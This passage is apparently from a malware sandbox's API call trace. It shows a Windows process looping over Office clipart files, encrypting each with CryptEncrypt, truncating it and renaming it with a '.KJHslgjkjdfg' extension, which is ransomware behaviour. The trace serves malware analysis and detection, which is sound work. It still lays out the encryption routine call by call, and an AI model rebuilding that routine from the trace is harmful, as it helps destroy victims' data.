cFileName="DD01152_.WMF", cAlternateFileName="")) returned 1 [0158.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.706] GetProcessHeap () returned 0x2a0000 [0158.706] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.706] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.706] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.706] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.706] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.706] GetProcessHeap () returned 0x2a0000 [0158.706] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.706] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.706] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.706] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.708] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.708] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.708] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.708] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.708] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.708] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.708] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.708] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.709] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb90, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xb90, lpOverlapped=0x0) returned 1 [0158.709] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb90, dwBufLen=0xb90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb90) returned 1 [0158.709] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.709] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xb90, lpOverlapped=0x0) returned 1 [0158.709] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.709] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xc64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.709] SetEndOfFile (hFile=0x114) returned 1 [0158.711] GetProcessHeap () returned 0x2a0000 [0158.711] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.711] GetProcessHeap () returned 0x2a0000 [0158.711] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.711] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf.kjhslgjkjdfg")) returned 1 [0158.712] CloseHandle (hObject=0x114) returned 1 [0158.712] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe04, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01157_.WMF", cAlternateFileName="")) returned 1 [0158.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.714] GetProcessHeap () returned 0x2a0000 [0158.714] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.714] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.714] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.714] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0158.717] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.717] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.717] GetProcessHeap () returned 0x2a0000 [0158.717] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.717] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.717] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.717] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.717] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.717] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.717] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.717] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.717] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.718] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.718] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.718] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.718] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xe04, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xe04, lpOverlapped=0x0) returned 1 [0158.718] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe10, dwBufLen=0xe10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe10) returned 1 [0158.718] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.718] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xe10, lpOverlapped=0x0) returned 1 [0158.718] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.718] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.718] SetEndOfFile (hFile=0x114) returned 1 [0158.720] GetProcessHeap () returned 0x2a0000 [0158.720] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.720] GetProcessHeap () returned 0x2a0000 [0158.720] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.720] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf.kjhslgjkjdfg")) returned 1 [0158.721] CloseHandle (hObject=0x114) returned 1 [0158.721] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01160_.WMF", cAlternateFileName="")) returned 1 [0158.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.722] GetProcessHeap () returned 0x2a0000 [0158.722] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.722] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.722] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.722] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0158.724] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.724] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.724] GetProcessHeap () returned 0x2a0000 [0158.724] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.724] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.724] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.724] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.724] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.724] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.724] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.725] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.725] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.725] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.725] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.725] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.725] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8b4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8b4, lpOverlapped=0x0) returned 1 [0158.725] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8c0) returned 1 [0158.725] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.725] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8c0, lpOverlapped=0x0) returned 1 [0158.725] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.725] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.725] SetEndOfFile (hFile=0x114) returned 1 [0158.728] GetProcessHeap () returned 0x2a0000 [0158.728] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.728] GetProcessHeap () returned 0x2a0000 [0158.728] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.728] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf.kjhslgjkjdfg")) returned 1 [0158.729] CloseHandle (hObject=0x114) returned 1 [0158.729] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01162_.WMF", cAlternateFileName="")) returned 1 [0158.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.730] GetProcessHeap () returned 0x2a0000 [0158.730] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.730] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.730] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.730] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.732] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.732] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.732] GetProcessHeap () returned 0x2a0000 [0158.732] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.732] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.732] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.732] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.732] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.732] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.732] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.733] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.733] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.733] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.733] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.733] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.733] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8fc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8fc, lpOverlapped=0x0) returned 1 [0158.733] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x900, dwBufLen=0x900 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x900) returned 1 [0158.733] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.733] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x900, lpOverlapped=0x0) returned 1 [0158.733] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.733] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.733] SetEndOfFile (hFile=0x114) returned 1 [0158.736] GetProcessHeap () returned 0x2a0000 [0158.736] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.736] GetProcessHeap () returned 0x2a0000 [0158.736] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.736] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf.kjhslgjkjdfg")) returned 1 [0158.738] CloseHandle (hObject=0x114) returned 1 [0158.738] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01163_.WMF", cAlternateFileName="")) returned 1 [0158.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.738] GetProcessHeap () returned 0x2a0000 [0158.738] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.738] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.738] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.738] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.741] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.741] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.741] GetProcessHeap () returned 0x2a0000 [0158.741] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.741] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, 